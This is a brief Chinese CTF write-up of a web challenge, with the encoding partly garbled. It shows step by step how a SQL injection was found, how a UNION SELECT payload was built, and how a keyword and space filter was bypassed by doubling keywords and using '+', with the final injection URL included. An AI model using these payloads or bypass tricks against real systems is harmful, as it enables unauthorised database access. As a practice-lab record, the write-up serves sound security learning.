
解題思路:研究了好久,看了這道CTF題目的writeup才知道
在文本框輸入1,提交,鏈接變成id=1
在文件框輸入1‘,提交,報錯,判斷存在注入。
初步預(yù)計后臺表為flag,字段名為flag,需要構(gòu)造union?select?flag?from?flag來執(zhí)行。
根據(jù)第二步的報錯信息看,多加個‘,后面的語句需要再構(gòu)造一個條件來結(jié)束’,注入語句為:1‘?union?select?flag?from?flag?where?'t'='t
執(zhí)行后報錯:heck?the?manual?that?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?'flag?flag?'t'='t''?at?line?1
分析:根據(jù)錯誤信息發(fā)現(xiàn)只有變量了,其他的關(guān)鍵字都被過濾了。
把關(guān)鍵字寫2遍提交,發(fā)現(xiàn)如下報錯:?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?'unionselectflag?fromflag?where't'='t''?at?line?1
分析:發(fā)現(xiàn)空格被過濾了
使用+號在空格之前連接:
http://ctf5.shiyanbar.com/423/web/?id=1?'+unionunion?+selectselect?+flag+fromfrom?+flag+wherewhere+'t'='t
得到KEY:flag{xxxxxx}